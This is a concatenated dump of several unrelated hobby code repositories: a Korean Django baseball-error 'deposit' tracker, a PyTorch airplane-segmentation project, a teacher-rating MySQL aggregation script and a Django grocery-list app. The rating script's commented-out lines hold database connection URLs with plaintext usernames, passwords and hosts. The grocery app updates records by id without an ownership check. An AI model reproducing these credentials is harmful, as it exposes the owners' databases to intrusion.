'stkOut')) diff_dbplay = int(total_data['dbplay']) - (getattr(season_data, 'dbplay')) diff_homerun = int(total_data['homerun']) - (getattr(season_data, 'homerun')) diff_balk = int(total_data['balk']) - (getattr(season_data, 'balk')) diff_passedBall = int(total_data['passedBall']) - (getattr(season_data, 'passedBall')) diff_error = int(total_data['error']) - (getattr(season_data, 'error')) print(diff_stkOut) # 실책이 발생한 날만 저장하도록 수정할 것 TotalData(date = datetime.date.today(), stkOut = diff_stkOut, dbplay = diff_dbplay, homerun = diff_homerun, balk = diff_balk, passedBall = diff_passedBall, error = diff_error, money = calc_money(diff_stkOut, diff_dbplay, diff_homerun, diff_balk, diff_passedBall, diff_error)).save() if getattr(season_data,'date') == datetime.date.today(): SeasonData.objects.delete() SeasonData(date = datetime.date.today().year, stkOut = total_data['stkOut'], dbplay = total_data['dbplay'], homerun = total_data['homerun'], balk = total_data['balk'], passedBall = total_data['passedBall'], error = total_data['error'], money = calc_money(int(total_data['stkOut']), int(total_data['dbplay']), int(total_data['homerun']), int(total_data['balk']), int(total_data['passedBall']), int(total_data['error'])) ).save() --- FILE SEPARATOR --- from django.apps import AppConfig class DispdepositConfig(AppConfig): name = 'dispDeposit' --- FILE SEPARATOR --- from django.shortcuts import render from parsed_total_data.models import TotalData, SeasonData def calc_money(stkOut, dbplay, homerun, balk, passedBall, error): money = (stkOut * 500) + (dbplay * 1000) + \ (homerun * 1000) + (balk * 3000) + \ (passedBall * 5000) + (error * 10000) return money # Create your views here. def index(request): total_data = SeasonData.objects.last() total_money = calc_money(total_data.stkOut, total_data.dbplay, total_data.homerun, total_data.balk, total_data.passedBall, total_data.error) total_money = str(format(total_money, ",")) print(total_money) context = {'total_data':total_data, 'total_money':total_money} return render(request, 'index.html', context) def history(request): m_history = TotalData.objects.all() s_data = SeasonData.objects.last() context = {'history':m_history, 'season':s_data} return render(request, 'history.html', context) def patch_note(request): return render(request, 'patch_note.html') def contact(request): return render(request, 'contact.html') --- FILE SEPARATOR --- from django.contrib import admin from .models import TotalData, SeasonData # Register your models here. admin.site.register(TotalData) admin.site.register(SeasonData) --- FILE SEPARATOR --- from django.apps import AppConfig class ParsedTotalDataConfig(AppConfig): name = 'parsed_total_data' --- FILE SEPARATOR --- # Generated by Django 2.2.7 on 2019-11-25 13:19 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='TotalData', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('date', models.DateField()), ('stkOut', models.PositiveIntegerField()), ('dbplay', models.PositiveIntegerField()), ('homerun', models.PositiveIntegerField()), ('balk', models.PositiveIntegerField()), ('wildPitch', models.PositiveIntegerField()), ('mistake', models.PositiveIntegerField()), ], ), ] --- FILE SEPARATOR --- # Generated by Django 2.2.7 on 2019-11-25 14:04 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('parsed_total_data', '0001_initial'), ] operations = [ migrations.RenameField( model_name='totaldata', old_name='mistake', new_name='error', ), migrations.RenameField( model_name='totaldata', old_name='wildPitch', new_name='passedBall', ), ] --- FILE SEPARATOR --- # Generated by Django 2.2.7 on 2019-11-25 14:56 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('parsed_total_data', '0002_auto_20191125_1404'), ] operations = [ migrations.AddField( model_name='totaldata', name='totalMoney', field=models.PositiveIntegerField(default=0), ), ] --- FILE SEPARATOR --- # Generated by Django 2.2.7 on 2019-11-25 15:11 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('parsed_total_data', '0003_totaldata_totalmoney'), ] operations = [ migrations.RemoveField( model_name='totaldata', name='totalMoney', ), ] --- FILE SEPARATOR --- # Generated by Django 2.2.7 on 2019-11-26 13:45 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('parsed_total_data', '0004_remove_totaldata_totalmoney'), ] operations = [ migrations.AddField( model_name='totaldata', name='money', field=models.PositiveIntegerField(null=True), ), ] --- FILE SEPARATOR --- from django.db import models # Create your models here. class TotalData(models.Model): date = models.DateField() stkOut = models.PositiveIntegerField() dbplay = models.PositiveIntegerField() homerun = models.PositiveIntegerField() balk = models.PositiveIntegerField() passedBall = models.PositiveIntegerField() error = models.PositiveIntegerField() money = models.PositiveIntegerField(null=True) def __str__(self): return str(self.date) class SeasonData(models.Model): date = models.PositiveIntegerField() stkOut = models.PositiveIntegerField() dbplay = models.PositiveIntegerField() homerun = models.PositiveIntegerField() balk = models.PositiveIntegerField() passedBall = models.PositiveIntegerField() error = models.PositiveIntegerField() money = models.PositiveIntegerField(null=True) def __str__(self): return str(self.date) --- FILE SEPARATOR --- from django.contrib import admin from patch_board.models import patchBoard # Register your models here. admin.site.register(patchBoard) --- FILE SEPARATOR --- from django.apps import AppConfig class PatchBoardConfig(AppConfig): name = 'patch_board' --- FILE SEPARATOR --- from django.db import models from ckeditor_uploader.fields import RichTextUploadingField # Create your models here. class patchBoard(models.Model): subject = models.CharField(max_length=50, blank=True) name = models.CharField(max_length=50, blank=True) created_date = models.DateField(null=True, blank=True) memo = models.CharField(max_length=1000, blank=True) hits = models.PositiveIntegerField(null=True, blank=True) description = RichTextUploadingField(null=True, blank=True)
[ "/crawl_total_stats.py", "/dispDeposit/apps.py", "/dispDeposit/views.py", "/parsed_total_data/admin.py", "/parsed_total_data/apps.py", "/parsed_total_data/migrations/0001_initial.py", "/parsed_total_data/migrations/0002_auto_20191125_1404.py", "/parsed_total_data/migrations/0003_totaldata_totalmoney.py", "/parsed_total_data/migrations/0004_remove_totaldata_totalmoney.py", "/parsed_total_data/migrations/0005_totaldata_money.py", "/parsed_total_data/models.py", "/patch_board/admin.py", "/patch_board/apps.py", "/patch_board/models.py" ]
010404/SS-pytorch-mine
import os import cv2 import argparse import Augmentor #文件路径 parser = argparse.ArgumentParser() parser.add_argument('--Images', type=str, default='D:/untitled/.idea/SS_torch/Augmentor_img', help='true picture') parser.add_argument('--final', type=str, default='D:/untitled/.idea/SS_torch/Augmentor_img/output', help='final picture') parser.add_argument('--Masks', type=str, default='D:/untitled/.idea/SS_torch/Augmentor_mask', help='Mask picture') parser.add_argument('--jpg_right', type=str, default='D:/untitled/.idea/SS_torch/dataset/jpg_right', help='final picture') parser.add_argument('--png_right', type=str, default='D:/untitled/.idea/SS_torch/dataset/png_right', help='final masks') parser.add_argument('--transtxt', type=str, default='D:/untitled/.idea/SS_torch/dataset/trans.txt', help='transtxt') opt = parser.parse_args() print(opt) txt=opt.transtxt paths = open("%s" % txt, "r") data = [] for lines in paths: path = lines.rstrip('\n') data.append(path) imgway_1=opt.Images imgway_2=opt.final JPG_RIGHT=opt.jpg_right PNG_RIGHT=opt.png_right #for循环命名需要 n1 = 1 n2 = 1 #进行数据增强 for index in range(len(data)): #读取需要增强的image和label image = cv2.imread("D:/untitled/.idea/SS_torch/dataset/jpg/%s" % data[index] + ".jpg", -1) mask = cv2.imread("D:/untitled/.idea/SS_torch/dataset/png/%s" % data[index] + ".png", -1) #保存至数据增强指定的文件夹中 cv2.imwrite("%s/%s.jpg" % (imgway_1, data[index]) ,image) cv2.imwrite("%s/%s.jpg" % (opt.Masks, data[index]) , mask) #数据增强主体 p = Augmentor.Pipeline(opt.Images) #读取image p.ground_truth(opt.Masks) #读取label,使得label和对应的image进行相同变化的augmentor p.rotate(probability=1, max_left_rotation=5, max_right_rotation=5) #旋转图片,左边最大旋转度,右边最大旋转度 p.shear(probability=1,max_shear_left=15,max_shear_right=15) #随机区域形变 p.flip_left_right(probability=0.5) #按概率左右翻转 p.zoom_random(probability=0.5, percentage_area=0.8) #按概率放大图片 p.flip_top_bottom(probability=0.5) #按概率上下翻转 p.sample(3) #产生3张图片 os.remove("%s/%s.jpg"%(imgway_1,data[index])) #去除原来的img,防止mask和img不匹配 os.remove("%s/%s.jpg" % (opt.Masks, data[index])) #去除原来的mask,防止mask和img不匹配 #将数据增强后的img和mask进行对应改名并移动到制定的文件夹中 for filename in os.listdir(r"%s" % imgway_2): name = filename[:9] if name =="Augmentor": #该图片是image name_1 = [] # 把image的数字名称放入列表 name_1.append(filename[23:34]) #截取数字+格式 img = cv2.imread("%s" % imgway_2 + "/" + filename,-1) name1_1 = name_1[0] name2_1 = name1_1[:-6]+str(n1)+ name1_1[6:] #图片在原来名称基础上改名 cv2.imwrite("%s/%s" % (JPG_RIGHT, name2_1 )+".jpg", img) n1+=1 if n1==4: #防止改名出现错误 n1=1 else: #该图片是mask name_2 = [] # 把mask的数字名称放入列表 name_2.append(filename[31:42]) #截取数字+格式 img_2 = cv2.imread("%s" % imgway_2 + "/" + filename, -1) name1_2 = name_2[0] name2_2 = name1_2[:-6] + str(n2) + name1_2[6:] #图片在原来名称基础上改名 cv2.imwrite("%s/%s" % (PNG_RIGHT, name2_2)+".png", img_2) n2 += 1 if n2==4: #防止改名出现错误 n2=1 --- FILE SEPARATOR --- import os import random val_percent = 0.1 train_percent = 0.9 imagepath = 'dataset/jpg_right' txtsavepath = 'dataset' total_img = os.listdir(imagepath) num = len(total_img) list=range(num) tv = int(num * val_percent) #验证个数 tr = int(num-tv) #训练个数 num_trainval = random.sample(list, tv) #随机获取tv个片段 num_train = random.sample(list, tr) #随机获取tr个片段 ftrain = open('dataset/train.txt', 'w') fval = open('dataset/val.txt', 'w') for i in range(num): name = total_img[i][:-4] + '\n' #提取名字+转行 if i in num_train: ftrain.write(name) else: fval.write(name) print("True") print(i+1) ftrain.close() fval.close() --- FILE SEPARATOR --- import torch from torch.nn import * from torch.nn.functional import relu6 #第一个卷积块 class Conv_block(Module): def __init__(self,inplanes,outplanes,strides): super(Conv_block, self).__init__() self.zeropad=ZeroPad2d(padding=1) self.conv=Conv2d(inplanes,outplanes,kernel_size=3,stride=strides,padding=0) self.BN=BatchNorm2d(outplanes,momentum=0.1) # self.relu=ReLU() def forward(self,x): x=self.zeropad(x) x=self.conv(x) x=self.BN(x) # x=self.relu(x) x=relu6(x) return x #除了第一个卷积块的后面的深度卷积块 class depthwise_block(Module): def __init__(self,inplanes,outplanes,strides): super(depthwise_block, self).__init__() self.zeropad=ZeroPad2d(padding=1) self.DW=Conv2d(inplanes,inplanes, #深度卷积,输入和输出通道一致 kernel_size=3,stride=strides, padding=0,groups=inplanes, #groups=inplanes是实现深度卷积的重点 bias=False) self.BN_1=BatchNorm2d(inplanes,momentum=0.1) self.BN_2=BatchNorm2d(outplanes,momentum=0.1) self.conv=Conv2d(inplanes,outplanes,kernel_size=1,stride=1) # self.relu=ReLU() def forward(self,x): x=self.zeropad(x) x=self.DW(x) x=self.BN_1(x) # x=self.relu(x) x = relu6(x) x=self.conv(x) x=self.BN_2(x) # x=self.relu(x) x=relu6(x) return x class Mobilenet(Module): cfg_filter=[32,64,128,128,256,256] #每个block的inplanes、outplanes cfg_stride=[1,2,1,2,1] #每个block的strides cfg_block=[] #初始化后的block集成一个列表 layer_data=[] #每个block处理后的output def __init__(self): super(Mobilenet, self).__init__() self.conv_block=Conv_block(3,32,2) #第一个conv block self.block_1=depthwise_block(32,64,1) self.block_2=depthwise_block(64,128,2) self.block_3=depthwise_block(128,128,1) self.block_4=depthwise_block(128,256,2) self.block_5=depthwise_block(256,256,1) def forward(self,inputs): x=inputs x=self.conv_block(x) x=self.block_1(x) x=self.block_2(x) x=self.block_3(x) x=self.block_4(x) x=self.block_5(x) return x #测试encoder网络 if __name__ =="__main__": model=Mobilenet() inputs=torch.randn(1,416,416,3).permute(0,3,1,2) # inputs=torch.randn(1,3,416,416) # layers_list=model(inputs) outputs = model(inputs) print("layers_3 shape:" ) # print(layers_list[2].shape) print(outputs.shape) --- FILE SEPARATOR --- from segnet_ import Airplanesnet from PIL import Image import numpy as np import torch import argparse import cv2 import copy import os parser = argparse.ArgumentParser() parser.add_argument('--samples', type=str, default='D:/untitled/.idea/SS_torch/samples', help='samples') parser.add_argument('--outputs', type=str, default='D:/untitled/.idea/SS_torch/outputs', help='outputs') parser.add_argument('--weights', type=str, default='D:/untitled/.idea/SS_torch/weights/SS_weight_3.pth', help='weights') opt = parser.parse_args() print(opt) colors = [[0,0,0],[255,0,0]] NCLASSES = 2 BATCH_SIZE=1 img_way=opt.samples img_save=opt.outputs device=torch.device("cuda:0"if torch.cuda.is_available() else "cpu") #检测是否有GPU加速 model=Airplanesnet(NCLASSES,BATCH_SIZE) #初始化model model.load_state_dict(torch.load(opt.weights)) #加载权重 model.to(device) #放入GPU for jpg in os.listdir(r"%s" %img_way): name = jpg[:-4] with torch.no_grad(): image=cv2.imread("%s" % img_way + "/" + jpg) old_image = copy.deepcopy(image) old_image = np.array(old_image) orininal_h = image.shape[0] #读取的图像的高 orininal_w = image.shape[1] #读取的图像的宽 方便之后还原大小 image = cv2.resize(image, dsize=(416, 416)) #调整大小 image = image / 255.0 #图像归一化 image = torch.from_numpy(image) image = image.permute(2, 0, 1) #显式的调转维度 image = torch.unsqueeze(image, dim=0) #改变维度,使得符合model input size image = image.type(torch.FloatTensor) #数据转换,否则报错 image = image.to(device) #放入GPU中计算 predict = model(image).cpu() # print(predict.shape) predict = torch.squeeze(predict) #[1,1,416,416]---->[1,416,416] predict =predict.permute(1, 2, 0) # print(jpg) predict = predict.numpy() # print(predict.shape) pr=predict.argmax(axis=-1) #把class数量的层压缩为一层,Z轴上的值概率最高的返回该层index seg_img = np.zeros((416, 416,3)) #创造三层0矩阵,方便进行涂色匹配 #进行染色 for c in range(NCLASSES): seg_img[:, :, 0] += ((pr[:, :] == c) * (colors[c][0])).astype('uint8') seg_img[:, :, 1] += ((pr[:, :] == c) * (colors[c][1])).astype('uint8') seg_img[:, :, 2] += ((pr[:, :] == c) * (colors[c][2])).astype('uint8') seg_img = cv2.resize(seg_img,(orininal_w,orininal_h)) seg_img = np.array(seg_img) # 原图和效果图叠加 result = cv2.addWeighted(seg_img, 0.3, old_image, 0.7, 0., old_image, cv2.CV_32F) cv2.imwrite("%s/%s" % (img_save, name) + ".jpg", result) print("%s.jpg ------>done!!!" % name) --- FILE SEPARATOR --- import torch import numpy as np from torch.nn import * from torch.nn import functional as F from mobilenet_ import Mobilenet class Segnet(Module): cfg_filter=[256,128,64,32] conv_block=[] BN_block=[] def __init__(self,num_classes): super(Segnet, self).__init__() self.zeropad=ZeroPad2d(padding=1) self.conv_1=Conv2d(256,256,kernel_size=3,padding=0) self.conv_2=Conv2d(32,num_classes,kernel_size=3,padding=1) self.BN_1=BatchNorm2d(256,momentum=0.1) self.upsample=Upsample(scale_factor=2) for i in range(len(self.cfg_filter)-1): self.conv_block += [Conv2d(self.cfg_filter[i], self.cfg_filter[i + 1], kernel_size=3, padding=0)] self.BN_block +=[BatchNorm2d(self.cfg_filter[i+1])] self.conv_block=ModuleList(self.conv_block) self.BN_block = ModuleList(self.BN_block) def forward(self,o): #input:52,52,256 o=self.zeropad(o) o=self.conv_1(o) o=self.BN_1(o) #input:104,104,256 for j in range(3): o=self.upsample(o) o=self.zeropad(o) o=self.conv_block[j](o) o=self.BN_block[j](o) outputs=self.conv_2(o) return outputs #编码器和解码器组合 class Airplanesnet(Module): def __init__(self,classes1,BATCH_SIZE): super(Airplanesnet, self).__init__() self.encoder_part=Mobilenet() #Mobilenet()是从另一个py文件import过来的类 self.decoder_part=Segnet(classes1) self.classes=classes1 self.batch_size=BATCH_SIZE def forward(self,input_1): x=self.encoder_part(input_1) # x=x[2] x=self.decoder_part(x) # x=x.view(self.batch_size,2,43264) # x=F.softmax(x,dim=1) return x #测试decoder网络 if __name__ =="__main__": model=Airplanesnet(classes1=2,BATCH_SIZE=1) inputs_1=torch.Tensor(torch.randn(1,3,416,416)) outputs_1=model(inputs_1) # outputs=outputs[3] print("outputs shape:" ) print(outputs_1.shape) --- FILE SEPARATOR --- import torch import cv2 import os import argparse import numpy as np from PIL import Image from torch.nn import * from torch.optim import Adam from torch.utils.data import Dataset,DataLoader from segnet_ import Airplanesnet BATCH_SIZE1=1 #训练的batch_size BATCH_SIZE2=1 #验证的batch_size NUM_CLASSES=2 #分割的种类数 LR=1e-4 #学习率 EPOCH=20 #迭代次数 parser = argparse.ArgumentParser() parser.add_argument('--gpu',action='store_true',default=True,help='whether use gpu') parser.add_argument('--train_txt', type=str, default='D:/untitled/.idea/SS_torch/dataset/train.txt', help='about trian') parser.add_argument('--val_txt', type=str, default='D:/untitled/.idea/SS_torch/dataset/val.txt', help='about validation') opt = parser.parse_args() print(opt) txt_1 = opt.train_txt txt_2 = opt.val_txt #自定义数据集的类 class AirplanesDataset(Dataset): def __init__(self,txt_path): super(AirplanesDataset, self).__init__() paths=open("%s" % txt_path,"r") data=[] for lines in paths: path=lines.rstrip('\n') data.append(path) self.data=data self.len=len(data) def __getitem__(self, index): image=cv2.imread("D:/untitled/.idea/SS_torch/dataset/jpg_right/%s" %self.data[index]+".jpg",-1) label = cv2.imread("D:/untitled/.idea/SS_torch/dataset/png_right/%s"%self.data[index] +".png" , -1) image = cv2.resize(image, dsize=(416, 416)) label = cv2.resize(label, dsize=(416, 416)) image=torch.from_numpy(image) label=torch.from_numpy(label) image = image / 255.0 #归一化 label[label>=0.5]=1 #label被resize后像素值会改变,调整像素值为原来的两类 label[label < 0.5] = 0 image=image.permute(2,0,1) #调整图像维度,方便载入model return image,label def __len__(self): return self.len train_dataset = AirplanesDataset(txt_1) # 训练集 # 加载训练数据集,并且分好mini-batch train_loader = DataLoader(dataset=train_dataset, batch_size=BATCH_SIZE1, shuffle=True) criterion = CrossEntropyLoss() # Loss model=Airplanesnet(NUM_CLASSES,BATCH_SIZE1) optimizer = Adam(model.parameters(), # 优化器 lr=LR) device=torch.device("cuda:0"if torch.cuda.is_available() else "cpu") #检测是否有GPU加速 model.to(device) #网络放入GPU里加速 model.load_state_dict(torch.load('D:/untitled/.idea/SS_torch/weights/SS_weight_2.pth')) #train函数 def train(epoch): running_loss=0.0 for batch_idx,data in enumerate(train_loader,0): #0是表示从0开始 image,label=data # label = torch.squeeze(label) # lll=label.numpy() # print(lll.shape) # f = open('D:/untitled/.idea/SS_torch/dataset/111.txt', 'w') # # for x in range(lll.shape[0]): # f.write('\n') # for y in range(lll.shape[1]): # # f.write(str(lll[x, y,])) # # label=label.view(BATCH_SIZE1,416,416) # label = torch.unsqueeze(label, dim=0) image,label=image.to(device),label.to(device) #数据放进GPU里 optimizer.zero_grad() #优化器参数清零 #forword+backward+update image=image.type(torch.FloatTensor) #转化数据类型,不转则会报错 image=image.to(device) outputs=model(image) loss=criterion(outputs,label.long()) #进行loss计算 lll=label.long().cpu().numpy() #把label从GPU放进CPU loss.backward(retain_graph=True) #反向传播(求导) optimizer.step() #优化器更新model权重 running_loss+=loss.item() #收集loss的值 if batch_idx % 100 ==99: print('[epoch: %d,idex: %2d] loss:%.3f' % (epoch+1,batch_idx+1,running_loss/322)) runing_loss=0.0 #收集的loss值清零 torch.save(model.state_dict(),f='D:/untitled/.idea/SS_torch/weights/SS_weight_3.pth') #保存权重 for epoch in range(EPOCH): #迭代次数 train(epoch) --- FILE SEPARATOR --- from segnet_ import Airplanesnet import numpy as np import torch import argparse import copy import cv2 NCLASSES = 2 BATCH_SIZE=1 #文件的加载路径 parser = argparse.ArgumentParser() parser.add_argument('--val_txt', type=str, default='D:/untitled/.idea/SS_torch/dataset/val.txt', help='about validation') parser.add_argument('--weights', type=str, default='D:/untitled/.idea/SS_torch/weights/SS_weight_3.pth', help='weights') opt = parser.parse_args() print(opt) txt_path = opt.val_txt weight=opt.weights __all__ = ['SegmentationMetric'] class SegmentationMetric(object): #计算mIoU、accuracy的类 def __init__(self, numClass): self.numClass = numClass self.confusionMatrix = np.zeros((self.numClass,) * 2) def pixelAccuracy(self): # return all class overall pixel accuracy # acc = (TP + TN) / (TP + TN + FP + TN) acc = np.diag(self.confusionMatrix).sum() / self.confusionMatrix.sum() acc = round(acc,5) return acc def classPixelAccuracy(self): # return each category pixel accuracy(A more accurate way to call it precision) # acc = (TP) / TP + FP classAcc = np.diag(self.confusionMatrix) / self.confusionMatrix.sum(axis=1) return classAcc def meanPixelAccuracy(self): classAcc = self.classPixelAccuracy() meanAcc = np.nanmean(classAcc) return meanAcc def meanIntersectionOverUnion(self): # Intersection = TP Union = TP + FP + FN # IoU = TP / (TP + FP + FN) intersection = np.diag(self.confusionMatrix) union = np.sum(self.confusionMatrix, axis=1) + np.sum(self.confusionMatrix, axis=0) - np.diag( self.confusionMatrix) IoU = intersection / union mIoU = np.nanmean(IoU) mIoU =round(mIoU,4) return mIoU def genConfusionMatrix(self, imgPredict, imgLabel): # remove classes from unlabeled pixels in gt image and predict mask = (imgLabel >= 0) & (imgLabel < self.numClass) label = self.numClass * imgLabel[mask] + imgPredict[mask] count = np.bincount(label, minlength=self.numClass ** 2) confusionMatrix = count.reshape(self.numClass, self.numClass) return confusionMatrix def Frequency_Weighted_Intersection_over_Union(self): # FWIOU = [(TP+FN)/(TP+FP+TN+FN)] *[TP / (TP + FP + FN)] freq = np.sum(self.confusion_matrix, axis=1) / np.sum(self.confusion_matrix) iu = np.diag(self.confusion_matrix) / ( np.sum(self.confusion_matrix, axis=1) + np.sum(self.confusion_matrix, axis=0) - np.diag(self.confusion_matrix)) FWIoU = (freq[freq > 0] * iu[freq > 0]).sum() return FWIoU def addBatch(self, imgPredict, imgLabel): assert imgPredict.shape == imgLabel.shape self.confusionMatrix += self.genConfusionMatrix(imgPredict, imgLabel) def reset(self): self.confusionMatrix = np.zeros((self.numClass, self.numClass)) #读取val.txt中的图片的名称 paths = open("%s" % txt_path, "r") data = [] for lines in paths: path = lines.rstrip('\n') data.append(path) device=torch.device("cuda:0"if torch.cuda.is_available() else "cpu") #检测是否有GPU加速 model=Airplanesnet(NCLASSES,BATCH_SIZE) #初始化model model.load_state_dict(torch.load(opt.weights)) #加载权重 model.to(device) sum_1 = 0 # 累加每张图片val的accuracy sum_2 = 0 # 累积每张图片Val的mIoU for i in range(len(data)): image = cv2.imread("D:/untitled/.idea/SS_torch/dataset/jpg_right/%s" % data[i] + ".jpg", -1) label = cv2.imread("D:/untitled/.idea/SS_torch/dataset/png_right/%s" % data[i] + ".png", -1) orininal_h = image.shape[0] # 读取的图像的高 orininal_w = image.shape[1] # 读取的图像的宽 image = cv2.resize(image, dsize=(416, 416)) label = cv2.resize(label, dsize=(416, 416)) label[label >= 0.5] = 1 #label被resize后像素值会改变,调整像素值为原来的两类 label[label < 0.5] = 0 image = image / 255.0 # 图像归一化 image = torch.from_numpy(image) image = image.permute(2, 0, 1) # 显式的调转维度 image = torch.unsqueeze(image, dim=0) # 改变维度,使得符合model input size image = image.type(torch.FloatTensor) # 数据转换,否则报错 image = image.to(device) # 放入GPU中计算 predict = model(image).cpu() predict = torch.squeeze(predict) # [1,1,416,416]---->[1,416,416] predict = predict.permute(1, 2, 0) predict = predict.detach().numpy() prc = predict.argmax(axis=-1) #进行mIoU和accuracy的评测 imgPredict =prc imgLabel = label metric = SegmentationMetric(2) metric.addBatch(imgPredict, imgLabel) acc = metric.pixelAccuracy() sum_1+=acc mIoU = metric.meanIntersectionOverUnion() sum_2+=mIoU print("%s.jpg :" % data[i]) print("accuracy: "+str(acc*100)+" %") print("mIoU: " +str(mIoU)) print("-------------------") # 全部图片平均的accuracy和mIoU sum_1=sum_1/len(data) sum_2=sum_2/len(data) sum_1 = round(sum_1,5) sum_2 = round(sum_2,4) print("M accuracy: "+str(sum_1*100)+" %") print("M mIoU: " +str(sum_2))
[ "/data more.py", "/maketxt.py", "/mobilenet_.py", "/predict_.py", "/segnet_.py", "/training.py", "/validation.py" ]
01662024622/teacher_ratting_aggregation
#!/usr/bin/env python # -*- coding: utf-8 -*- import math import os import time from datetime import datetime from sqlalchemy import create_engine, text from sqlalchemy.orm import sessionmaker from teacher_rate import TeacherRate start_time = None # config_time = int(os.environ["CONFIG_TIME_1578790800"]) config_time = 1578790800 # delay_time = int(os.environ["DELAY_TIME"]) # delay_time = 1 # int(os.environ["DELAY_TIME"]) db_url_extract = str(os.environ["DB_URL_EXTRACT"]) # db_url_extract = 'mysql://root:1qazXSW@2019@sp1.dev.native.vn:3306/topicalms?charset=utf8&use_unicode=True' db_url_load = str(os.environ["DB_URL_LOAD"]) # db_url_load = 'mysql://nvn_knowledge:ZKqC7vNK4HgOxnM7@118.70.223.165:3306/nvn_knowledge_v2?charset=utf8&use_unicode=True' delay_scheduel = int(os.environ["DELAY_SCHEDUEL"]) # delay_scheduel = 6400 # 'SET @row_number := 0; ' + \ sqldata = str( 'SELECT teacher_id, FORMAT(AVG(points), 1) as rate_avg, MAX(num) AS number_rate ' + \ 'FROM( SELECT @row_number:= CASE ' + \ 'WHEN @customer_no = teacher_id ' + \ 'THEN @row_number + 1 ' + \ 'ELSE 1 ' + \ 'END ' + \ 'AS num, ' + \ '@customer_no:= teacher_id teacher_id, ' + \ 'timecreated,points ' + \ 'FROM mdl_rating_class, ' + \ '(SELECT @customer_no:=0,@row_number:=0) as t ' + \ 'WHERE teacher_id > 0 AND vote = 1 and points > 0 ' + \ 'ORDER BY teacher_id, id DESC ' + \ ') as ali ' + \ 'WHERE num < 301 ' + \ 'GROUP BY teacher_id ') def dict2TeacherRate(d): v = TeacherRate() for k in d.keys(): setattr(v, k, d[k]) return v def extractLoad(db_url, list_data, var): engine = create_engine(db_url, connect_args={'connect_timeout': 150}, echo=True) conn = engine.connect() if var == 0: conn.execute(text('TRUNCATE teacher_rating_300;')) Session = sessionmaker(bind=conn) session = Session() i = 0 time_report = datetime.now() updated_time = str(time_report) for line in list_data: d = dict2TeacherRate(line) d.updated_time = updated_time session.add(d) i += 1 if i > 0: session.commit() session.close() conn.close() while True: if start_time is None: start_time = (int((int( datetime.now().timestamp()) - 1578790800) / delay_scheduel)) * delay_scheduel + 1578790800 + config_time else: if start_time > int(datetime.now().timestamp()): time.sleep(delay_time) continue engine = create_engine(db_url_extract, connect_args={'connect_timeout': 150}, echo=True) conn = engine.connect() sql = text( 'SELECT COUNT(DISTINCT teacher_id) FROM mdl_rating_class ra JOIN mdl_tpebbb bb ON ra.room_id = bb.id AND ra.teacher_id>0 and points>0 AND vote=1') resultCount = conn.execute(sql) count = resultCount.fetchone()[0] print("have " + str(count) + " record from extract database") if count > 100: for var in list(range(int(math.ceil(count / 1500)))): sqllimit = text(sqldata + str('LIMIT ') + str(var * 1500) + str(',1500')) data = conn.execute(sqllimit) # print(data.keys()) extractLoad(db_url_load, data, var) start_time += delay_scheduel --- FILE SEPARATOR --- #!/usr/bin/env python # -*- coding: utf-8 -*- from sqlalchemy import Column, Integer, BigInteger, TIMESTAMP from sqlalchemy.dialects.mysql import DOUBLE from sqlalchemy.ext.declarative import declarative_base Base = declarative_base() class TeacherRate(Base): __tablename__ = 'teacher_rating_300' id = Column('id', BigInteger, primary_key=True) teacher_id = Column('teacher_id', Integer) rate_avg = Column('rate_avg', DOUBLE) number_rate = Column('number_rate', Integer) updated_time = Column('updated_time', TIMESTAMP) --- FILE SEPARATOR --- from teacher_rate import TeacherRate from datetime import datetime import math import os import requests as rq import ast from collections import namedtuple import json import math from sqlalchemy import create_engine, text from sqlalchemy.orm import sessionmaker import csv from teacher_rate import TeacherRate from datetime import datetime import time print (str(datetime.now()))
[ "/main.py", "/teacher_rate.py", "/test.py" ]
02GAURAVTRIPATHI/GroceryBag
from django.contrib import admin from .models import ListModel # Register your models here. admin.site.register(ListModel) --- FILE SEPARATOR --- # Generated by Django 3.1.3 on 2021-07-25 15:48 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('testapp', '0001_initial'), ] operations = [ migrations.AddField( model_name='listmodel', name='created_at', field=models.DateTimeField(blank=True, null=True), ), ] --- FILE SEPARATOR --- from django.db import models from django.contrib.auth.models import User from django.utils.translation import gettext_lazy as _ # Create your models here. class ListModel(models.Model): user_id = models.ForeignKey(User, related_name="user_list", on_delete=models.CASCADE) item_name = models.CharField(max_length=800) quantity = models.CharField(max_length=300) class Status(models.TextChoices): BOUGHT = 'BOUGHT', _('item_bought') NOT_AVAILABLE = 'NOT AVAILABLE', _('item_end') PENDING = 'PENDING', _('in_queue') action = models.CharField(max_length=20, choices=Status.choices) created_at = models.DateTimeField(blank=True, null=True) --- FILE SEPARATOR --- from django.shortcuts import render from .models import ListModel from dateutil.parser import parse # Create your views here. def home_page_view(request): #print(request.POST.dict().get('item')) if request.method == "POST": item = request.POST.dict()['item'] quantity = request.POST.dict()['quantity'] status = request.POST.dict()['status'] date = request.POST.dict()['date'] date = parse(date) ListModel.objects.create(user_id=request.user, item_name=item, quantity=quantity, action=status, created_at=date) return render(request, 'testapp/HTML/add.html') def home1_page_view(request): items = ListModel.objects.filter(user_id=request.user) if request.method == "POST": date = request.POST.dict().get('filter') if date: date = parse(date) items = ListModel.objects.filter(user_id=request.user, created_at=date) return render(request, 'testapp/HTML/index.html', {'items':items}) def home2_page_view(request,id): if request.method == "POST": item = request.POST.dict()['item'] quantity = request.POST.dict()['quantity'] status = request.POST.dict()['status'] date = request.POST.dict()['date'] date = parse(date) ListModel.objects.filter(id=id).update(item_name=item, quantity=quantity, action=status, created_at=date) item = ListModel.objects.get(id=id) return render(request, 'testapp/HTML/update.html', {'item':item}) from django.shortcuts import redirect from .forms import NewUserForm from django.contrib.auth import login from django.contrib import messages def register_request(request): if request.method == "POST": form = NewUserForm(request.POST) if form.is_valid(): user = form.save() login(request, user) messages.success(request, "Registration successful." ) return redirect("/accounts/login") messages.error(request, "Unsuccessful registration. Invalid information.") form = NewUserForm() return render (request=request, template_name="testapp/HTML/register.html", context={"register_form":form})
[ "/templateproject1/testapp/admin.py", "/templateproject1/testapp/migrations/0002_listmodel_created_at.py", "/templateproject1/testapp/models.py", "/templateproject1/testapp/views.py" ]
02bx/Flerken
